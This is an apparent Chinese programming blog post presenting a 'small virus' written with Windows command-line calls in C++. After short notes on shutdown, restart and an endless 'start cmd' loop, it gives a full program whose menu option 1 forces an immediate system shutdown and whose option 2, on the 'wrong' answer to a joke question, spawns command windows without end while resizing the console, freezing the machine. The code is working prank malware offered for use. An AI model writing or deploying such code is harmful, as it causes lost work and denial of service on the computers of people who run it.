第三篇:利用命令行写一个小病毒(无限弹窗,关机,重启)

1.命令行

其实原理很简单

cmd知识点(伪代码)

1.无限弹窗

while (1) system("start cmd");

2.关机

shutdown -s -t 0 //立刻关机

shutdown -s -f //一分钟后强制关机

shutdown -a //取消关机进程

3.重启

shutdown -r -t 0 //立刻重启 shutdown -r -f //一分钟后强制重启

4.颜色

2.依据以上我设想的一些有趣的操作

cpp 复制代码
#include <bits/stdc++.h>//c++他不香吗?
#include <windows.h>
#include <conio.h>
using namespace std;
void settype() {
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
}
int main() {
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = true;
	SetConsoleCursorInfo(handle, &CursorInfo);
	cout<<"输入1毁灭程序,输入2查看作者的话,输入3安全退出程序";
	char y;
	cin >> y;
	system("cls");
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	switch (y) {
		case '1': {
			system("title 呵,你完了!!!");
			system("color 04");
			settype();
			cout << "\t\t            We can be both of God and the Devil.\n\n\t\t  Since we are trying to raise the dead against the stream of time.";
			Sleep(5000);
			system("cls");
			settype();
			cout << "\t\t\t        我们可以是天使,也可以是恶魔\n\n\t\t\t      因为我们要令时光倒流,让人起死回生。";
			Sleep(3000);
			system("shutdown -s -t 0");//shutdown right now!!!
			cout << endl << "\t\t            ";
		}
		case '2': {
			system("title 相见就是缘分,非常感谢您能关注这个系统!!!");
			system("color 07");
			settype();
			cout << "\t\t            相见就是缘分,非常感谢您能关注这个系统!!!";
			Sleep(1000);
			system("cls");
			settype();
			system("title 帅,劝你最好填1!!!");
			cout << "\t\t            嘻嘻,浅浅问一下:作者帅吗?(帅输入1)";
			char p;
			cin >> p;
			if (p == '1') {
				system("title 对嘛,这就对了!!");
				cout << "\t\t            你是有眼光的!送你一天VIP,邀请码:1107   " << endl;
				cout << "\t\t            ";
			} else {
				system("title 呵,you die");
				cout << "\t\t            相见就是缘分";
				Sleep(1000);
				cout << "\t\t          但这个缘分不要也罢!";
				Sleep(5000);
				int a = 0;
				while (1) {
					if (a & 1)
						system("mode con cols=100 lines=40");
					else
						system("mode con cols=1000 lines=400");
					system("start cmd");//无限弹窗
					a++;
				}
				cout << endl << "\t\t            ";
			}
			break;
		}
		default:
			break;
	}

}
相关推荐
basketball6167 分钟前
设计模式入门:3. 适配器模式详解 C++实现
c++·设计模式·适配器模式
2401_8724187817 分钟前
算法入门:并查集(Disjoint Set / Union-Find):连通性问题的利器
算法
luj_176822 分钟前
R语言生态优势与学习曲线分析
c语言·开发语言·网络·经验分享·算法
程序大视界26 分钟前
【C++ 从基础到项目实战】C++(二):数组、字符串与结构体——组织数据的容器
开发语言·c++·cpp
计算机安禾38 分钟前
【算法分析与设计】第36篇:计算几何基础:凸包问题的分治与扫描线解法
大数据·人工智能·算法·机器学习·剪枝
叶子野格43 分钟前
《C语言学习:文件操作》16
c语言·开发语言·c++·学习·visual studio
货拉拉技术43 分钟前
飞速发展的计算机视觉
人工智能·算法
AI科技星44 分钟前
万有引力G与真空介电常数ε0全维度完整关系式汇编(基于v=c螺旋时空理论)
c语言·开发语言·前端·javascript·网络·汇编·electron
如竟没有火炬1 小时前
寻找峰值——二分
java·开发语言·数据结构·python·算法·散列表
C^h1 小时前
6轴达妙机械臂
c语言